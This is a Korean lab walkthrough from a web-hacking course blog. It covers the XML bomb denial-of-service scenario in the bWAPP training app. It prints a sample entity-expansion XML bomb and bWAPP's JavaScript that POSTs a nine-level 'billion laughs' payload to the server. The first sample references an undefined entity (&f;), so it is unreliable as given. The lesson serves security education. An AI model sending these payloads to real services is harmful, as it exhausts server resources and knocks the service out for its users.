정보보안(구버전)/ bWAPP 2019. 2. 16. 13:13

웹 해킹 bWAPP - 70. A5 - Security Misconfiguration - Denial-of-Service(XML Bomb)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다. 

 

 

1. Security Misconfiguration

 

 - OWASP Top10 A5 - 잘못된 보안 구성
 - 서버/시스템/DB/네트워크 장비/웹 설정 요류로 인하여 발생하는 취약점이다.
 - Ex) 디렉토리 리스팅, 에러페이지, 웹페이지 주석, 웹서버 기본 설정, Adobe Flash 취약점, DoS/DDos 공격,

         특정 서비스에 대한 Reverse_TCP 공격, 로컬 권한 취약점, 백업/임시/robots 파일


 

 

2. Dos/DDos 공격

 

 - 대량 패켓들을 전송하여 시스템/서버/네트워크 리소스를 고갈시켜 부하 발생, 요청 방해 및 연결 거부를 발생하는 공격이다.

 - 단, 정보 유출에 대한 취약점은 없지만, 서비스가 마비되기 때문에 사용자 및 기업 입장에서 시간/비용 손실을 발생시킨다.

 - DDos는 악성 코드에 감염된 시스템(좀비 PC)들을 이용하여 DoS 공격을 실시하는 방법이다.

 - Ex) 최근 국내 Dos/DDos 공격 사례 : 디시인사이드

 - 기사 : https://www.dailysecu.com/?mod=news&act=articleView&idxno=44010

           http://news.mtn.co.kr/newscenter/news_viewer.mtn?gidx=2019011117453837457

 

 

 

3. XML Bomb

 

 - 악의적인 XML 소스 코드를 전송하여 서버 CPU 및 메모리 부하를 발생시키는 공격이다.

 - XML Bomb 소스 코드

 

<?xml version="1.0"?>
<!DOCTYPE XMLBOMB [
               <!ENTITY a "random text">
               <!ENTITY b "&a; &a; &a; &a; &a;">
               <!ENTITY c "&b; &b; &b; &b; &b;">
               <!ENTITY d "&c; &c; &c; &c; &c;">
               <!ENTITY e "&d; &d; &d; &d; &d;">
               ]>
<XMLBOMB>&f;</XMLBOMB>


 

 

4. Security Misconfiguration - Denial-of-Service(XML Bomb)

 

 - 이 시나리오는 bWAPP에서 제공하는 XML Bomb 소스 코드를 이용하여 공격을 진행할 예정이다.

 

 

Ex1) Security Misconfiguration - Denial-of-Service(XML Bomb) 이해

 

 

보안 레벨 선택 및 시나리오 선택

 

 

bee@bee-box:~$ gnome-system-monitor &
[1] 9993

 

 

bWAPP에서 시스템 모니터링 도구 실행 실시

 

 

 

 

와이어샤크 실행 및 eth1 캡처 실시

root@kali:~/slowloris.pl# wireshark &
[2] 2813

 

 

 

 

'lol' 버튼 클릭

 

 


 

와이어샤크 캡처 내용 확인

 

 

 

 

BWAPP 부하 발생 확인

 

 

 

 

Ex2) 'sm_dos_2.php' 파일 내용 확인

 

bee@bee-box:/var/www/bWAPP$ ls -l sm_dos_2.php
-rw-rw-r-- 1 root www-data 6932 2014-11-02 23:52 sm_dos_2.php

bee@bee-box:/var/www/bWAPP$ vi sm_dos_2.php

~ 중간 생략 ~

 

<p>A billion of laughs? Are you kidding? <input type="button" OnClick="DoSme();" value="lol"></p>

    <script type="text/javascript">

        function DoSme()
        {

            var req_params;

            req_params = "<\?xml version=\"1.0\" encoding=\"utf-8\"\?>\n";
            req_params = req_params + "<!DOCTYPE lolz [\n";
            req_params = req_params + " <!ENTITY lol \"lol\">\n";
            req_params = req_params + " <!ELEMENT login (#PCDATA)>\n";
            req_params = req_params + " <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n";
            req_params = req_params + " <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n";
            req_params = req_params + " <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n";
            req_params = req_params + " <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n";
            req_params = req_params + " <!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n";
            req_params = req_params + " <!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;\">\n";
            req_params = req_params + " <!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;\">\n";
            req_params = req_params + " <!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;\">\n";
            req_params = req_params + " <!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;\">\n";
            req_params = req_params + "]>\n";
            req_params = req_params + "<reset><login>&lol9;</login><secret>blah</secret></reset>";


            var xmlHttp;
            // Code for IE7+, Firefox, Chrome, Opera, Safari
            if(window.XMLHttpRequest)
            {
                xmlHttp = new XMLHttpRequest();
            }
            // Code for IE6, IE5
            else
            {
                xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
            }
            xmlHttp.open("POST","xxe-2.php",true);
            xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8");
            xmlHttp.send(req_params);

        }

    </script>

 

:q!

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 70. A5 - bWAPP Security Misconfiguration - Denial-of-Service(XML Bomb)   https://youtu.be/m42Owt5_JG8

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q